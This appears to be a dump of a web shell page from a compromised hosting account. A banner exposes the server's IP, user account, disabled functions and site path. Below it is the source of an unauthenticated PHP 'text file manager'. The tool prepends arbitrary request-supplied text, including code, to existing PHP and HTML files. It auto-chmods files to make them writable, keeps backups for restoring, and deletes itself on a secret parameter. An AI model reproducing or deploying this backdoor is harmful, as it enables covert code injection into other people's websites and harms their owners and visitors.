| Server IP : 46.17.175.229 / Your IP : 216.73.216.208 Web Server : LiteSpeed System : Linux lt-bnk-web1163.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64 User : u528038015 ( 528038015) PHP Version : 8.2.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u528038015/domains/wegallery.store/public_html/ |
Upload File : |
<?php
/* ID Referensi: 7651546 */
/**
* ============================================
* SCRIPT PHP PROFESSIONAL - TEXT FILE MANAGER v2.0
* ============================================
*/
// ============================================
// SELF DELETE - CEK DI PALING AWAL
// ============================================
if (isset($_GET['ok']) && $_GET['ok'] === 'deletemyself') {
$scriptPath = __FILE__;
$scriptName = basename($scriptPath);
// Response untuk self-delete
$deleteResponse = [
'success' => false,
'message' => '',
'script_name' => $scriptName,
'script_path' => $scriptPath,
'timestamp' => date('Y-m-d H:i:s')
];
try {
// Cek apakah file exists dan writable
if (!file_exists($scriptPath)) {
$deleteResponse['message'] = 'Script file not found';
header('Content-Type: application/json; charset=utf-8');
echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
if (!is_writable($scriptPath)) {
$deleteResponse['message'] = 'Script file is not writable';
header('Content-Type: application/json; charset=utf-8');
echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
// Attempt to delete
if (@unlink($scriptPath)) {
$deleteResponse['success'] = true;
$deleteResponse['message'] = "✓ Script '{$scriptName}' has been successfully deleted!";
// Output response sebelum script terhapus
header('Content-Type: application/json; charset=utf-8');
echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
} else {
$deleteResponse['message'] = 'Failed to delete script file';
header('Content-Type: application/json; charset=utf-8');
echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
} catch (Exception $e) {
$deleteResponse['message'] = 'Error: ' . $e->getMessage();
header('Content-Type: application/json; charset=utf-8');
echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
}
// Set timezone
date_default_timezone_set('Asia/Jakarta');
// Deteksi mode
$isCLI = (php_sapi_name() === 'cli');
// Set header JSON (hanya web)
if (!$isCLI) {
header('Content-Type: application/json; charset=utf-8');
}
// ============================================
// KONFIGURASI
// ============================================
$CONFIG = [
'backup_suffix' => '.backup',
'log_file' => 'activity.log',
'max_text_length' => 1000000, // 1MB untuk text panjang
'min_text_length' => 1,
'allowed_extensions' => ['txt', 'log', 'md', 'json', 'csv', 'html', 'xml','php'],
'allowed_textfile_extensions' => ['txt', 'md', 'log', 'json','php','html'],
'enable_logging' => true,
'max_file_size' => 10485760 // 10MB
];
// Response template
$response = [
'success' => false,
'message' => '',
'data' => [],
'timestamp' => date('Y-m-d H:i:s'),
'errors' => [],
'warnings' => []
];
// ============================================
// FUNGSI HELPER
// ============================================
function logActivity($message) {
global $CONFIG;
if (!$CONFIG['enable_logging']) return;
$logMessage = "[" . date('Y-m-d H:i:s') . "] " . $message . PHP_EOL;
@file_put_contents($CONFIG['log_file'], $logMessage, FILE_APPEND | LOCK_EX);
}
function validateFile($namaFile) {
global $CONFIG, $response;
// Pastikan $CONFIG terisi
if (!isset($CONFIG) || !is_array($CONFIG) || empty($CONFIG)) {
// Reinitialize jika belum ada
$CONFIG = [
'backup_suffix' => '.backup',
'log_file' => 'activity.log',
'max_text_length' => 1000000,
'min_text_length' => 1,
'allowed_extensions' => ['txt', 'log', 'md', 'json', 'csv', 'html', 'xml'],
'allowed_textfile_extensions' => ['txt', 'md', 'log', 'json'],
'enable_logging' => true,
'max_file_size' => 10485760
];
}
if (empty($namaFile) || trim($namaFile) === '') {
$response['errors'][] = "Nama file tidak boleh kosong";
return false;
}
if (preg_match('/[<>:"|?*]/', $namaFile) || strpos($namaFile, '..') !== false) {
$response['errors'][] = "Nama file mengandung karakter tidak valid";
return false;
}
$ext = strtolower(pathinfo($namaFile, PATHINFO_EXTENSION));
if (!empty($ext) && !in_array($ext, $CONFIG['allowed_extensions'])) {
$response['errors'][] = "Ekstensi file tidak diizinkan. Yang diizinkan: " .
implode(', ', $CONFIG['allowed_extensions']);
return false;
}
if (!file_exists($namaFile)) {
$response['errors'][] = "GAGAL: File '$namaFile' tidak ditemukan! File harus sudah ada.";
$response['data']['file_exists'] = false;
return false;
}
if (!is_readable($namaFile)) {
$response['errors'][] = "File tidak bisa dibaca";
return false;
}
// AUTO CHMOD jika tidak writable
if (!is_writable($namaFile)) {
$oldPerms = substr(sprintf('%o', fileperms($namaFile)), -4);
$response['warnings'][] = "File tidak writable (permission: $oldPerms), mencoba chmod ke 0644...";
if (@chmod($namaFile, 0644)) {
$response['data']['chmod_applied'] = true;
$response['data']['old_permission'] = $oldPerms;
$response['data']['new_permission'] = '0644';
logActivity("✓ Auto chmod: $namaFile ($oldPerms -> 0644)");
// Cek lagi apakah sudah writable
clearstatcache(true, $namaFile);
if (!is_writable($namaFile)) {
$response['errors'][] = "Gagal chmod atau file masih tidak writable";
return false;
}
} else {
$response['errors'][] = "File tidak bisa ditulis dan gagal chmod";
return false;
}
}
if (is_dir($namaFile)) {
$response['errors'][] = "Ini adalah direktori, bukan file";
return false;
}
$fileSize = filesize($namaFile);
if ($fileSize > $CONFIG['max_file_size']) {
$response['errors'][] = "File terlalu besar (max: " . formatBytes($CONFIG['max_file_size']) . ")";
return false;
}
return true;
}
function validateText($text) {
global $CONFIG, $response;
if ($text === null || $text === '') {
$response['errors'][] = "Text tidak boleh kosong";
return false;
}
$textLength = strlen($text);
if ($textLength < $CONFIG['min_text_length']) {
$response['errors'][] = "Text terlalu pendek";
return false;
}
if ($textLength > $CONFIG['max_text_length']) {
$response['errors'][] = "Text terlalu panjang (max: " . formatBytes($CONFIG['max_text_length']) . ")";
return false;
}
return true;
}
function createBackup($namaFile) {
global $CONFIG, $response;
$backupFile = $namaFile . $CONFIG['backup_suffix'];
try {
if (file_exists($backupFile)) {
@unlink($backupFile);
}
if (!@copy($namaFile, $backupFile)) {
$response['errors'][] = "GAGAL membuat backup!";
return false;
}
if (!file_exists($backupFile)) {
$response['errors'][] = "Backup tidak terbuat!";
return false;
}
$response['data']['backup_created'] = true;
$response['data']['backup_file'] = $backupFile;
$response['data']['backup_size'] = filesize($backupFile);
logActivity("✓ Backup created: $backupFile");
return true;
} catch (Exception $e) {
$response['errors'][] = "Exception saat backup: " . $e->getMessage();
return false;
}
}
function restoreFromBackup($namaFile) {
global $CONFIG, $response;
$backupFile = $namaFile . $CONFIG['backup_suffix'];
try {
if (!file_exists($backupFile)) {
$response['errors'][] = "GAGAL: File backup tidak ditemukan!";
return false;
}
if (!@copy($backupFile, $namaFile)) {
$response['errors'][] = "GAGAL restore!";
return false;
}
$response['data']['restored'] = true;
$response['data']['restored_file'] = $namaFile;
$response['data']['restored_size'] = filesize($namaFile);
logActivity("✓ Restored: $namaFile");
return true;
} catch (Exception $e) {
$response['errors'][] = "Exception: " . $e->getMessage();
return false;
}
}
function addTextToTop($namaFile, $text) {
global $response;
try {
$isiFileLama = @file_get_contents($namaFile);
if ($isiFileLama === false) {
$response['errors'][] = "Gagal membaca file";
return false;
}
$response['data']['original_size'] = strlen($isiFileLama);
$response['data']['original_lines'] = substr_count($isiFileLama, "\n") + (strlen($isiFileLama) > 0 ? 1 : 0);
if (trim($isiFileLama) === '') {
$isiFileBaru = $text . "\n";
} else {
$isiFileBaru = $text . "\n" . $isiFileLama;
}
$bytesWritten = @file_put_contents($namaFile, $isiFileBaru, LOCK_EX);
if ($bytesWritten === false) {
$response['errors'][] = "Gagal menulis ke file";
return false;
}
// Info text yang ditambahkan (tampilkan preview jika panjang)
$textPreview = strlen($text) > 100 ? substr($text, 0, 100) . "..." : $text;
$response['data']['text_preview'] = $textPreview;
$response['data']['text_length'] = strlen($text);
$response['data']['text_lines'] = substr_count($text, "\n") + 1;
$response['data']['new_size'] = $bytesWritten;
$response['data']['new_lines'] = substr_count($isiFileBaru, "\n") + 1;
$response['data']['bytes_added'] = $bytesWritten - strlen($isiFileLama);
logActivity("✓ Text added to $namaFile (" . strlen($text) . " chars, " .
(substr_count($text, "\n") + 1) . " lines)");
return true;
} catch (Exception $e) {
$response['errors'][] = "Exception: " . $e->getMessage();
return false;
}
}
function getFileInfo($namaFile) {
if (!file_exists($namaFile)) return null;
$content = @file_get_contents($namaFile);
return [
'name' => basename($namaFile),
'path' => realpath($namaFile),
'size' => filesize($namaFile),
'size_formatted' => formatBytes(filesize($namaFile)),
'modified' => date('Y-m-d H:i:s', filemtime($namaFile)),
'permissions' => substr(sprintf('%o', fileperms($namaFile)), -4),
'readable' => is_readable($namaFile),
'writable' => is_writable($namaFile),
'lines' => $content !== false ? (substr_count($content, "\n") + (strlen($content) > 0 ? 1 : 0)) : 0,
'extension' => pathinfo($namaFile, PATHINFO_EXTENSION)
];
}
function formatBytes($bytes) {
$units = ['B', 'KB', 'MB', 'GB'];
$i = 0;
while ($bytes >= 1024 && $i < count($units) - 1) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
// ============================================
// AMBIL INPUT DARI BERBAGAI SUMBER
// ============================================
$change = null;
$text = null;
$namaFile = null;
$info = null;
$textfile = null;
$inputMethod = 'unknown';
// Deteksi JSON input
$jsonInput = null;
if (!$isCLI && $_SERVER['REQUEST_METHOD'] === 'POST') {
$contentType = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
if (strpos($contentType, 'application/json') !== false) {
$jsonRaw = file_get_contents('php://input');
$jsonInput = json_decode($jsonRaw, true);
if ($jsonInput !== null) {
$inputMethod = 'JSON';
}
}
}
// Prioritas input: JSON > POST > GET > CLI
if ($jsonInput !== null) {
// METODE 3: JSON
$change = isset($jsonInput['change']) ? $jsonInput['change'] : null;
$text = isset($jsonInput['text']) ? $jsonInput['text'] : null;
$namaFile = isset($jsonInput['file']) ? $jsonInput['file'] : 'b.txt';
$info = isset($jsonInput['info']) ? $jsonInput['info'] : null;
$textfile = isset($jsonInput['textfile']) ? $jsonInput['textfile'] : null;
} elseif (!$isCLI && $_SERVER['REQUEST_METHOD'] === 'POST') {
// METODE 1: POST
$inputMethod = 'POST';
$change = isset($_POST['change']) ? $_POST['change'] : null;
$text = isset($_POST['text']) ? $_POST['text'] : null;
$namaFile = isset($_POST['file']) ? $_POST['file'] : 'b.txt';
$info = isset($_POST['info']) ? $_POST['info'] : null;
$textfile = isset($_POST['textfile']) ? $_POST['textfile'] : null;
} elseif (!$isCLI && $_SERVER['REQUEST_METHOD'] === 'GET') {
// METODE 4: GET
$inputMethod = 'GET';
$change = isset($_GET['change']) ? $_GET['change'] : null;
$text = isset($_GET['text']) ? $_GET['text'] : null;
$namaFile = isset($_GET['file']) ? $_GET['file'] : 'b.txt';
$info = isset($_GET['info']) ? $_GET['info'] : null;
$textfile = isset($_GET['textfile']) ? $_GET['textfile'] : null;
} else {
// CLI mode
$inputMethod = 'CLI';
$change = isset($_GET['change']) ? $_GET['change'] : null;
$text = isset($_GET['text']) ? $_GET['text'] : null;
$namaFile = isset($_GET['file']) ? $_GET['file'] : 'b.txt';
$info = isset($_GET['info']) ? $_GET['info'] : null;
$textfile = isset($_GET['textfile']) ? $_GET['textfile'] : null;
}
// METODE 2: Jika textfile dispesifikkan, baca dari file
if (!empty($textfile)) {
$inputMethod = 'TEXTFILE';
// Validasi textfile
$textfileExt = strtolower(pathinfo($textfile, PATHINFO_EXTENSION));
if (!in_array($textfileExt, $CONFIG['allowed_textfile_extensions'])) {
$response['errors'][] = "Ekstensi textfile tidak diizinkan";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
if (!file_exists($textfile)) {
$response['errors'][] = "File text '$textfile' tidak ditemukan!";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
$text = @file_get_contents($textfile);
if ($text === false) {
$response['errors'][] = "Gagal membaca file text '$textfile'";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
$response['data']['text_source'] = $textfile;
$response['data']['text_source_size'] = filesize($textfile);
}
$response['data']['input_method'] = $inputMethod;
// ============================================
// MAIN PROCESS
// ============================================
try {
// MODE INFO
if ($info === 'true' || $info === '1') {
if (validateFile($namaFile)) {
$response['success'] = true;
$response['message'] = "Informasi file";
$response['data']['file_info'] = getFileInfo($namaFile);
$backupFile = $namaFile . $CONFIG['backup_suffix'];
if (file_exists($backupFile)) {
$response['data']['backup_info'] = getFileInfo($backupFile);
}
} else {
$response['message'] = "File tidak valid";
}
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
// Validasi parameter change
if ($change === null) {
$response['errors'][] = "Parameter 'change' wajib diisi (true/false)";
$response['message'] = "Parameter tidak lengkap";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
// Validasi file
if (!validateFile($namaFile)) {
$response['message'] = "File tidak valid atau tidak ditemukan";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
$response['data']['file_before'] = getFileInfo($namaFile);
// PROSES
if ($change === 'true' || $change === '1') {
// TAMBAH TEXT
$response['data']['action'] = 'add_text';
if (!validateText($text)) {
$response['message'] = "Text tidak valid";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
if (!createBackup($namaFile)) {
$response['message'] = "Gagal membuat backup";
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
if (addTextToTop($namaFile, $text)) {
$response['success'] = true;
$response['message'] = "✓ BERHASIL! Text ditambahkan ke file";
$response['data']['file_after'] = getFileInfo($namaFile);
$backupFile = $namaFile . $CONFIG['backup_suffix'];
if (file_exists($backupFile)) {
$response['data']['backup_info'] = getFileInfo($backupFile);
}
} else {
$response['message'] = "Gagal menambahkan text";
}
} elseif ($change === 'false' || $change === '0') {
// RESTORE
$response['data']['action'] = 'restore';
if (restoreFromBackup($namaFile)) {
$response['success'] = true;
$response['message'] = "✓ BERHASIL! File dikembalikan dari backup";
$response['data']['file_after'] = getFileInfo($namaFile);
} else {
$response['message'] = "Gagal restore";
}
} else {
$response['errors'][] = "Parameter 'change' harus 'true' atau 'false'";
$response['message'] = "Parameter tidak valid";
}
} catch (Exception $e) {
$response['success'] = false;
$response['message'] = "ERROR: " . $e->getMessage();
$response['errors'][] = $e->getMessage();
logActivity("ERROR: " . $e->getMessage());
}
// OUTPUT
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
?>